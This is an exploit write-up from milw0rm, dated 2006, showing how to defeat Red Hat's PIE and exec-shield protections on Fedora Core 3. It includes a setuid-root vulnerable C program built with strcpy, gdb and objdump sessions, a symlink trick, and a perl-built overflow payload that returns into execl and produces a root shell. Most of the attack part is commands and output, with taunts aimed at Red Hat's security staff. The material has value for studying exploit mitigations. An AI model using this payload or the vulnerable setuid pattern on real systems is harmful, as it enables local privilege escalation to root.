Solution To Red Hat PIE protection
(Fr0z3n : zarul_shahrin@yahoo.com)
I read a great article written by Vangelis about exploiting local vulnerability under Fedora 2.
It was a great article but our Redhat Security Expert, Arjan van de Ven said that the author did not compile the vulnerable
program into PIE executable:
"2) You did not make your application a PIE executable (you can do so
with gcc -fpie -pie vul.c -o vul ). PIE executables are in themselves
randomized, and in addition will ignore the prelink "fixing" of
addresses, and thus making it near impossible to find the address of
the app you want to exploit[1], unless you do it from the same
debugging session (but if you can attach a debugger you fully own the
app anyway) Most (if not all) network facing daemons in FC are
compiled as PIE for this reason, and we're in progress to extending
that to other "sensitive" binaries"
Take note of this part:
"PIE executables are in themselves
randomized, and in addition will ignore the prelink "fixing" of
addresses, and thus making it near impossible to find the address of
the app you want to exploit.."
Did he say the words "Near Impossible"?
Izzit really "near impossible"? Let us check it out now,
first of all, this is the vuln program..just the same as the one in Vengelis paper:
---------------------------------vul.c----------------------------------------
int main(int argc, char *argv[])
{
char buffer[256];
strcpy(buffer,argv[1]);
return 0;
}
------------------------------------------------------------------------------
Btw, all the work below was done under Fedora 3.So any improvement from the Fedora 2 would be in this version.
I started this work exactly after Installing it which of course took a longer time than finding out how to exploit this program.
So no patch applied.
[zarul@localhost exercise]$ cat /proc/version
Linux version 2.6.9-1.667 (bhcompile@tweety.build.redhat.com) (gcc version 3.4.2 20041017 (Red Hat 3.4.2-6.fc3)) #1 Tue Nov 2 14:41:25 EST 2004
[zarul@localhost exercise]$
ok...now let us compile our "Vulnerable" program , I will compile the vulnerable program as Arjan van de Ven said:
[zarul@localhost exercise]$ gcc -fpie -pie vul.c -o vul
[zarul@localhost exercise]$
[root@localhost exercise]# chown root vul
[root@localhost exercise]# chgrp root vul
[root@localhost exercise]# chmod 4755 vul
[root@localhost exercise]# ls -la
total 40
drwsr-xr-x 2 zarul zarul 4096 Feb 9 14:20 .
drwx------ 3 zarul zarul 4096 Feb 8 20:48 ..
-rw-r--r-- 1 root root 564 Feb 9 113:15 data
-rw-r--r-- 1 root root 556 Feb 9 110:31 data~
-rwxrwxr-x 1 zarul zarul 5191 Feb 8 220:48 exploit1
-rw-rw-r-- 1 zarul zarul 100 Feb 8 220:48 exploit1.c
-rwsr-xr-x 1 root root 5441 Feb 9 114:20 vul
-rw-rw-r-- 1 zarul zarul 113 Feb 8 118:39 vul.c
Ok..Did I do the correct way bro?
ok now, let us do some debugging..
[root@localhost exercise]# gdb ./vul
GNU gdb Red Hat Linux (6.1post-1.20040607.41rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x5d4
(gdb) r
Starting program: /home/zarul/exercise/vul
(no debugging symbols found)...Breakpoint 1 at 0xf6fff5d4
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0xf6fff5d4 in main () from /home/zarul/exercise/vul
(gdb) disas execl
Dump of assembler code for function execl:
0xf6f3f720 <execl+0>: push %ebp
0xf6f3f721 <execl+1>: mov %esp,%ebp
0xf6f3f723 <execl+3>: lea 0x10(%ebp),%ecx
0xf6f3f726 <execl+6>: push %edi
0xf6f3f727 <execl+7>: push %esi
0xf6f3f728 <execl+8>: push %ebx
0xf6f3f729 <execl+9>: sub $0x1038,%esp
0xf6f3f72f <execl+15>: mov 0xc(%ebp),%eax
0xf6f3f732 <execl+18>: movl $0x400,0xfffffff0(%ebp)
0xf6f3f739 <execl+25>: lea 0x1b(%esp),%edx
0xf6f3f73d <execl+29>: and $0xfffffff0,%edx
0xf6f3f740 <execl+32>: call 0xf6ecac71 <__i686.get_pc_thunk.bx>
0xf6f3f745 <execl+37>: add $0x998af,%ebx
0xf6f3f74b <execl+43>: mov %eax,(%edx)
0xf6f3f74d <execl+45>: test %eax,%eax
0xf6f3f74f <execl+47>: mov %ecx,0xffffffe8(%ebp)
0xf6f3f752 <execl+50>: movl $0x1,0xffffffec(%ebp)
0xf6f3f759 <execl+57>: je 0xf6f3f7e0 <execl+192>
0xf6f3f75f <execl+63>: movl $0x1a,0xffffffe0(%ebp)
0xf6f3f766 <execl+70>: jmp 0xf6f3f783 <execl+99>
0xf6f3f768 <execl+72>: addl $0x8,0xffffffe0(%ebp)
0xf6f3f76c <execl+76>: mov 0xffffffe8(%ebp),%edi
0xf6f3f76f <execl+79>: mov 0xffffffec(%ebp),%ecx
0xf6f3f772 <execl+82>: addl $0x4,0xffffffe8(%ebp)
0xf6f3f776 <execl+86>: mov (%edi),%eax
0xf6f3f778 <execl+88>: mov %eax,(%edx,%ecx,4)
0xf6f3f77b <execl+91>: inc %ecx
---Type <return> to continue, or q <retturn> to quit---
....
wtf? Where is the NULL pointer dereference protection?
Is the protection ON?Let me check it 1st..
[zarul@localhost exercise]$ cat /proc/sys/kernel/exec-shield
2
[zarul@localhost exercise]$
the echoed value is 2..what it means? Let us check the latest "Exec-Shield" Document.It says that:
"2 This option is similar to 1,but all binaries which do not have a PTGNUSTACK entry are executed without executable stack.
This option is useful to prevent introducing problems by importing binaries.Every unmarked binary which does need an executable stack
would have to be treated with execstack add the program header entry."
so should be ok right?
let us check exec-shield-randomize now..
[zarul@localhost exercise]$ cat /proc/sys/kernel/exec-shield-randomize
1
[zarul@localhost exercise]$
The value is 1.So it means that the stack addresses etc.. are randomized.
"- 1 — Randomized VM mapping is enabled"
let us check the last thing...
[zarul@localhost exercise]$ eu-readelf -l vul | grep GNU_STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x000000 0x000000 RW 0x4
[zarul@localhost exercise]$
from the documentation, the present of the flag value RW means the stack is not executable.
So,everything sounds secure right?But I don't think so!
After I found the execl+3 address, I realized about something, so I compiled another vulnerable program called vul2 but this time without the PIE option.
Then I display the contents of section headers with objdump:
[zarul@localhost exercise]$ objdump -h vul2
vul2: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 00000013 08048114 08048114 00000114 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.ABI-tag 00000020 08048128 08048128 00000128 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .hash 0000002c 08048148 08048148 00000148 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .dynsym 00000060 08048174 08048174 00000174 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .dynstr 00000060 080481d4 080481d4 000001d4 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .gnu.version 0000000c 08048234 08048234 00000234 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .gnu.version_r 00000020 08048240 08048240 00000240 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .rel.dyn 00000008 08048260 08048260 00000260 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .rel.plt 00000010 08048268 08048268 00000268 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .init 00000017 08048278 08048278 00000278 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
10 .plt 00000030 08048290 08048290 00000290 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .text 000001a4 080482c0 080482c0 000002c0 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .fini 0000001a 08048464 08048464 00000464 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .rodata 00000008 08048480 08048480 00000480 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
14 .eh_frame 00000004 08048488 08048488 00000488 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
15 .ctors 00000008 0804948c 0804948c 0000048c 2**2
CONTENTS, ALLOC, LOAD, DATA
16 .dtors 00000008 08049494 08049494 00000494 2**2
CONTENTS, ALLOC, LOAD, DATA
17 .jcr 00000004 0804949c 0804949c 0000049c 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .dynamic 000000c8 080494a0 080494a0 000004a0 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .got 00000004 08049568 08049568 00000568 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .got.plt 00000014 0804956c 0804956c 0000056c 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .data 0000000c 08049580 08049580 00000580 2**2
CONTENTS, ALLOC, LOAD, DATA
22 .bss 00000004 0804958c 0804958c 0000058c 2**2
ALLOC
23 .comment 00000126 00000000 00000000 0000058c 2**0
CONTENTS, READONLY
[zarul@localhost exercise]$
Ok,Now see the contents of section headers of our vulnerable program compiled with the PIE option:
[zarul@localhost exercise]$ objdump -h vul
vul: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 00000013 00000114 00000114 00000114 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.ABI-tag 00000020 00000128 00000128 00000128 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .hash 000000a4 00000148 00000148 00000148 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .dynsym 00000160 000001ec 000001ec 000001ec 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .dynstr 00000093 0000034c 0000034c 0000034c 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .gnu.version 0000002c 000003e0 000003e0 000003e0 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .gnu.version_r 00000030 0000040c 0000040c 0000040c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .rel.dyn 00000030 0000043c 0000043c 0000043c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .rel.plt 00000018 0000046c 0000046c 0000046c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .init 00000017 00000484 00000484 00000484 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
10 .plt 00000040 0000049c 0000049c 0000049c 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .text 0000020c 000004dc 000004dc 000004dc 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .fini 0000001a 000006e8 000006e8 000006e8 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .rodata 00000008 00000704 00000704 00000704 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
14 .eh_frame 00000004 0000070c 0000070c 0000070c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
15 .ctors 00000008 00001710 00001710 00000710 2**2
CONTENTS, ALLOC, LOAD, DATA
16 .dtors 00000008 00001718 00001718 00000718 2**2
CONTENTS, ALLOC, LOAD, DATA
17 .jcr 00000004 00001720 00001720 00000720 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .dynamic 000000c8 00001724 00001724 00000724 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .got 00000010 000017ec 000017ec 000007ec 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .got.plt 00000018 000017fc 000017fc 000007fc 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .data 0000000c 00001814 00001814 00000814 2**2
CONTENTS, ALLOC, LOAD, DATA
22 .bss 00000004 00001820 00001820 00000820 2**2
ALLOC
23 .comment 00000126 00000000 00000000 00000820 2**0
CONTENTS, READONLY
[zarul@localhost exercise]$
Ahaks!!Can you see those NULL bytes?So does it mean that we can't use the method used by Vangelis in his paper?My answer is YES!It is still possible to use that method!
But,as some of you might ask,HOW?
Ok,this is how we are going to do it...
As you guys know, with those NULL bytes,we can't manipulate the _GLOBAL_OFFSET_TABLE_ as Vangelis did in his paper,but it doesn't mean we can't manipulate other parts!
Remember!As an exploit writer,we must always be creative when writing our exploits as we need to be "one-step-ahead" of those people that call themselves as "security expert"!
So, after playing around with the program I found a lot of places that we can manipulate and this is one of them:
(gdb) x/8x 0xf6fd9d60
0xf6fd9d60 <unsafe_state+16>: 0x0000001f 0x00000003 0xf6fd90c0 0xf6fd76b4
0xf6fd9d70 <severity_list+4>: 0x00000000 0x00000000 0x00000000 0x00000000
Yehaaa!!!! and now this will be our file name..
(gdb) x/2x 0xf6fd90c0
0xf6fd90c0 <__libc_malloc_initialized>: 0xffffffff 0x00000003
(gdb)
Yippies! Let us make a symbolic link now!
[zarul@localhost exercise]$ ln -ns /home/zarul/exercise/exploit1 "`perl -e 'print "\xff\xff\xff\xff\x03"'`"
[zarul@localhost exercise]$
Ok..Are you ready kids? We will now exploit the program!
[zarul@localhost exercise]$ ./vul `perl -e 'print"A"x264,"\x60\x9d\xfd\xf6\x23\xf7\xf3\xf6"'`
sh-3.00# id
uid=0(root) gid=500(zarul) groups=500(zarul)
sh-3.00#
Oh My Goat! We defeated the improved "exec-barrier" for the second time!
Well, I don't know what Arjan van de Ven is going to say after he reads this paper but I'm going to be honest..I know that you are going to make "just-another-fix" that will decrease the program perfomance.But all I can say..you are just wasting your time cause eventually someone will come out with a solution.
Even now I believe there are more ways to defeat this protection and this is just one of them.
Who knows,maybe there is even a way to remote exploit a vulnerable program!
But,I don't think its worth to talk about it yet.
So, why not we use this valuable time to educate people on how to write a secure program instead of wasting our time with junks?
Think about it, How many people you think will install this kind of protection that will surely decrease the system performance and at the same time there is no gurantee that it will work as promised.
I know this paper might sound lame for some people, so for comments and critism: zarul_shahrin@yahoo.com
( Btw, Sorry for my poor English)
Greetz:
CMN == One of the people out there that I respect the most.
Vangelis == For such a great paper!I wish that I
will have the chance to know you.
Beist == I don't know who you really are but I think
you should be an intelligent person too.
Linus Torvalds == For creating such a wonderful OS .
Red Hat == I'll still use this distro no matter what
happen ..
Some of the Kiddies out there == That started to learn how to be something
"REAL". I believe some of you guys might be
"someone" one day.So stop defacing and
learn programming.
References:
How to Exploit Overflow Vulnerability Under Fedora Core By Vangelis.
exec-shield description:
http://people.redhat.com/mingo/exec-shield/ANNOUNCE-exec-shield (OLD)
http://www.redhat.com/f/pdf/rhel/WHP0006US_Execshield.pdf
description of security enhancements in RHEL/FC
http://people.redhat.com/drepper/nonselsec.pdf
- EOF -
# milw0rm.com [2006-03-09]